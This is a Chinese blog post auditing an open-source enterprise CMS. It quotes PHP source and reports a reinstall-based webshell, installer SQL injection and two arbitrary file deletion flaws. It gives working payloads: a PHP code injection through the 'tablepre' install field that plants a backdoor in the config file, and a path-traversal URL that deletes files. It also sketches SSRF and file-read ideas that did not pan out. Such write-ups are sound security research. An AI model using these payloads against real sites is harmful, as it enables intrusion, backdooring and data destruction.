tpl.cls.php,某开源企业站CMS审计报告

前言

最近渗透测试某站点的时候触发了一个报错,然后发现了站点使用的CMS,百度了一下是一个国产开源的企业级CMS。从官网拉下来审了一下,再此记录一下

入口

下面是index.php入口文件

if( !file_exists(dirname(__FILE__) . "/include/config.db.php") )

{

header("Location:install/index.php");

exit();

}

require_once( "include/common.inc.php" );

$mod = str_replace( '../', '', $mod );

if( empty( $mod ) )

{

$mod = 'index';

}

$action_file = WEB_INCLUDE . '/action/' . $mod . '.php';

file_exists($action_file) && require_once($action_file);

$cls_tpl = cls_app:: get_template( $mod );

$cls_tpl->display();

?>

很常见的cms入口形式,但是可以注意到第八行将../替换为空,这里怀疑会不会存在目录穿越,可以采用..././这样的形式来穿越到上一层。但是第15行限制了后缀必须为php,且由于前缀也被限制于是不能使用zip伪协议拿shell,如果php版本为5.2可以采用00截断包含任意文件,这里暂时卡住,继续审计,第2行应该为配置文件略过,跟进第7行的common.inc.php

41a447e4a491882ee1dca09a6fbdae4c.png

common.inc.php开头先定义了许多常量,然后更改了一些php配置,接着又引入了两个文件,跟进发现配置了一些变量,先不管,继续向下审计common.inc.php

$req_data = array();

foreach( array('_GET', '_POST', '_COOKIE') as $_request )

{

foreach( $$_request as $_k => $_v )

{

${$_k} = _get_request($_v);

if( '_COOKIE' != $_request )

{

$req_data[$_k] = _get_request($_v);

}

}

}

unset($_GET, $_POST);

?>

上面代码可以很明显的发现,cms把$_GET,$_POST,$_COOKIE注册为了全局变量。所以之后可能存在变量覆盖,之后的代码引入了全局函数和全局类。这时候CMS入口以审计结束,可以开始审计函数和类

重安装漏洞(Getshell)

由于安装文件一般是漏洞的重灾地,于是这里直接跳到了安装文件,果然找到了漏洞点。

在install_action.php中,安装完成后会把前端文件重命名,但是后端逻辑文件依旧存在,所以如果知道安装文件位置即可重安装

function install_end()

{

//安装收尾

//把安装文件的名字换了

@rename('index.php', 'index.php_bak');

}

这里只重命名了前端文件

而且在文件280行,存在写文件操作,文件名为php且文件内容可控

$db_tablepre = $_POST['tablepre'];

write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre);

function write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre)

{

//写入数据库配置

global $db_code;

$db_config = "";

$db_config .= "<?php \n\n";

$db_config .= "\$db_type = '" . $db_type . "';\n";

$db_config .= "\$db_host = '" . $db_host . "';\n";

$db_config .= "\$db_name = '" . $db_name . "';\n";

$db_config .= "\$db_pass = '" . $db_pass . "';\n";

$db_config .= "\$db_table = '" . $db_table . "';\n";

$db_config .= "\$db_ut = '" . $db_code . "';\n";

$db_config .= "\$db_tablepre = '" . $db_tablepre . "';\n\n";

$db_config .= "?>";

require_once("../include/class/class.file.php");

$cls_file = new cls_file('../include/config.db.php');

$cls_file-> set_text($db_config);

return $cls_file-> write();

}

由于文件内容可控,我们可以通过tablepre=exp来写入一个恶意php文件

tablepre=dcr_qy_';?><?php phpinfo()?>

由于写入的是配置文件,所以访问站点任意文件都会包含此文件,所以还可以当后门来用。

c3b05547ea2e99cfcd91694074aa56c6.png

审计过程还发现,如果采用sqlite安装,sqlite数据库文件名会以php结尾,并且我们可以控制数据库名数据库表,但是cms开始会新建一个名为<?php的数据表 ,sqlite文件的文件头会存在多个<?php,php解析到这里直接报错了。不知道怎么绕过。

sql注入

在install_action.php中还存在sql注入

$db_table = $_POST['table'];

$sql_db_exists = "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='$db_table'";

很明显的注入,就不细讲了

任意文件删除漏洞x2

全局搜索危险函数unlink

df44c1972a85ed7f6e74c644befaae92.png

一个个跟进审计,查找拿些变量可控,最终找到两个任意文件删除漏洞

在fmanage_action.php中提供了文件删除功能,但是未对文件路径做过滤,于是可以删除任意文件

cc433784622af21a8723c814282c6bff.png

上面提到cms把所有url变量注册为了全局变量,于是只需访问action=del_file&cpath=../../../../../../../1.txt即可删除任意文件

cls_dir类中也存在一个任意文件删除漏洞

4bc657c0ce2906c1c30969a67fff8c79.png

cache_clear.php引用了这个类

$cls_dir = new cls_dir();

$cls_dir-> delete_dir( WEB_CACHE . "/template/{$tpl_dir}" );

同理,通过控制url参数tpl_dir即可任意文件删除

失败的审计

在db.class.php中的构造方法里,可以进行数据库连接

class cls_db

{

private $pdo;

private $db_type;

private $host;

private $name;

private $pass;

private $table;

private $ut;

private $conn;

private $result;

private $rs;

private $str_error; //错误信息

/**

* 构造函数

* @param string $db_type 数据库类型

* @param string $host 数据库地址

* @param string $name 数据库用户名

* @param string $pass 数据库密码

* @param string $table 数据库名

* @param string $ut 数据库编码

* @return resource 成功返回一个连接的resource

*/

function __construct( $db_type, $db_host, $db_name, $db_pass, $db_table, $db_ut )

{

$this->db_type = $db_type;

$this->host = $db_host;

$this->name = $db_name;

$this->pass = $db_pass;

$this->table = $db_table;

$this->ut = $db_ut;

if( !$this->conn )

{

$this->connect();

}

}

因为构造方法只有在实例化新类才会被执行,所以理论上,如果我们可以任意实例化任意类,我们可以控制数据库连接的ip和端口,再通过mysql任意文件读取漏洞,即可达到任意文件读取,全局搜索new $

e0c8f030f114260cc42c539ed05dca0b.png

遗憾的是,这三个变量审计后发现我们都不可控,于是这条路没有走通,但是我觉得思路还是很不错的

失败的审计*2

class.email.php文件中会存在任意ip建立套接字,发送数据可控,于是我们可以通过crlf来SSRF,可以攻击内网的php-fpm,redis等应用,但是在刚开始建立套接字的时候,cms会判断对应ip是否返回2或者3,

function smtp_ok()

{

$response = str_replace("\r\n", "", fgets($this->sock, 512));

$this->smtp_debug( $response . "\n" );

if (!ereg("^[23]", $response))

{

fputs($this->sock, "QUIT\r\n");

fgets($this->sock, 512);

cls_app::log("Error: Remote host returned\"" . $response . "\"\n");

return false;

}

return true;

}

?>

如果攻击内网,必须要对应内网服务在建立连接时,返回数据中带有2或者3,我们才能发送数据,否者程序会直接退出。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值